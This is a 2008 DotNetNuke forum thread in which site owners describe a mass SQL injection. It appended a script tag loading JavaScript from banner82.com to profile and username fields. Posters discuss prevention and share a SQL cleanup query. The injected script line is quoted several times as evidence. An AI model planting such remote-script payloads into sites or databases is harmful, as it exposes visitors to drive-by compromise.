Small width layout Medium width layout Maximum width layout Small text Medium text Large text
     Search
Downloads Downloads Directory Directory Forums Forums Forge Forge Blogs Blogs        Marketplace Marketplace Careers Program Careers
Community › Forums Register  |  

telerik -- supercharge your DNN websites
  Ads  
Engage Software - Training Partner for DotNetNuke
 


  Sponsors  

Meet Our Sponsors

R2integrated - formerly bi4ce
Jango Studios - Skins, Modules and Hosting for DotNetNuke
eUKhost.com is commited to offer exceptional UK Windows Web Hosting solutions with quality 24x7 technical support.Our plans support ASP.Net, ASP, ASP.NET Ajax extensions, XML, MSSQL, MySQL, PHP,DNN, multiple domains and Shared SSL as standard.
SmarterTools
Verndale
The Official Microsoft ASP.NET Website
 


DotNetNuke Forums
 
  Forum  General DotNetN...  Chat About It!  DNN SQL Injection Vulnerability? I.E. How did this happen?
Previous Previous
 
Next Next
New Post 5/16/2008 12:01 PM
User is offline Dave Felts
9 posts
10th Ranked


DNN SQL Injection Vulnerability? I.E. How did this happen? 

Couldn't find a bug report forum, so....

Long story short; started getting a DotNetNuke.Services.Exceptions.PageLoadException: Input string was not in a correct format error this morning after I tried to log in. After I got that error, site wouldn't load at all. DNN versions of the site is 3 weeks old, just finished porting from the existing site. It had been working without a htich for 3 weeks tho'.

Much Googling ensued and ultimately I tracked it down to the PropertyValue column in the UserProfile table. Seems somone has some how managed to append a bit of code that called a javascript to the end of every value in the column:

<script src="http://www.banner82.com/b.js"></script>

Without detailing the whole process, this script ultimately led to anothet site that tried to load a script that aloowed access to the file system through IE. Doh!

That's not hte purpose of this post however...

Once I deleted this bit of script from the end of each PropertyValue field value, site came back fine.

My concerns:
How did this happen?
How can I prevent it from happening again?
Keep in mind it wasn't just 1 field in the PropertyValue coumn, it was every field.....

Thanks,

Dave

 
New Post 5/16/2008 1:18 PM
User is offline Sebastian Leupold
15216 posts
www.deutschnetnuke.de
1st Ranked












Re: DNN SQL Injection Vulnerability? I.E. How did this happen? 

I don't think, anyone got access to the server's file sytem, i.e. there has been no vulnerability of your server, it might only affect other users visiting the profile. However, to prevent this, any HTML and scripts shall be stripped of the input. I will forward this to our security experts. Thank you.


Sebastian Leupold

DeutschNetNuke dnnWerk - The DotNetNuke Experts German DotNetNuke User-Group

DotNetNuke Project UserDefinedTable
DotNetNuke Project Release Tracker
 
New Post 5/16/2008 1:28 PM
User is offline Sebastian Leupold
15216 posts
www.deutschnetnuke.de
1st Ranked












Re: DNN SQL Injection Vulnerability? I.E. How did this happen? 

Dave, which DNN version are you running - AFAIK this has been been fixed since a couple of versions. I sugest to upgrade to latest version of DotNetNuke!


Sebastian Leupold

DeutschNetNuke dnnWerk - The DotNetNuke Experts German DotNetNuke User-Group

DotNetNuke Project UserDefinedTable
DotNetNuke Project Release Tracker
 
New Post 5/18/2008 8:07 PM
User is offline stevepowell
2 posts
10th Ranked


Re: DNN SQL Injection Vulnerability? I.E. How did this happen? 

We just got tagged with the same thing.

dbo.User table's Username filed looks like this:

admin<script src=http://www.banner82.com/b.js></script>

host<script src=http://www.banner82.com/b.js></script>

Seems like a simple fix to remove, but wonder what else they tagged. We've locked down many tables to prevent compromises, but they keep sneaking in.

Not sure what other fields were compromised. Anyone have any help?

 

 
New Post 5/18/2008 8:34 PM
User is offline stevepowell
2 posts
10th Ranked


Re: DNN SQL Injection Vulnerability? I.E. How did this happen? 

Where can we go to see what was fixed? I cannot upgrade our install due to 3rd party components not compatible with later versions.

NOTE: To clean up this injection, run:

Update Users SET Username = SUBSTRING(Username, 1, CHARINDEX('<script src=http://www.banner82.com/b.js></script>', Username)-1) WHERE CHARINDEX('<script src=http://www.banner82.com/b.js></script>', Username)-1 > 0

 
Previous Previous
 
Next Next
  Forum  General DotNetN...  Chat About It!  DNN SQL Injection Vulnerability? I.E. How did this happen?
 


Forum Policy

These Discussion Forums are dedicated to the discussion of the DotNetNuke Web Application Framework.

For the benefit of the community and to protect the integrity of the project, please observe the following posting guidelines:

1. No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DotNetNuke.
2. Discussion or promotion of DotNetNuke product releases under a different brand name are strictly prohibited.
3. No Flaming or Trolling.
4. No Profanity, Racism, or Prejudice.
5. Site Moderators have the final word on approving/removing a thread or post or comment.
6. English language posting only, please.

 


Swanzey Internet Group LLC
DotNetNuke design, development, e-Commerce, hosting, maintenance, and training. Exclusively DotNetNuke.
www.swanzey.com
Lucede Systems Group
Providing a full range of IT services for large and medium sized companies
www.lucede.com
Adaptive InfoSystems, Inc.
We provide custom programming and various levels of support for DotNetNuke and the .Net framework.
www.aisysweb.com

DotNetNuke Corporation   Terms Of Use  Privacy Statement
DotNetNuke®, DNN®, and the DotNetNuke logo are trademarks of DotNetNuke Corporation
Hosted by MaximumASP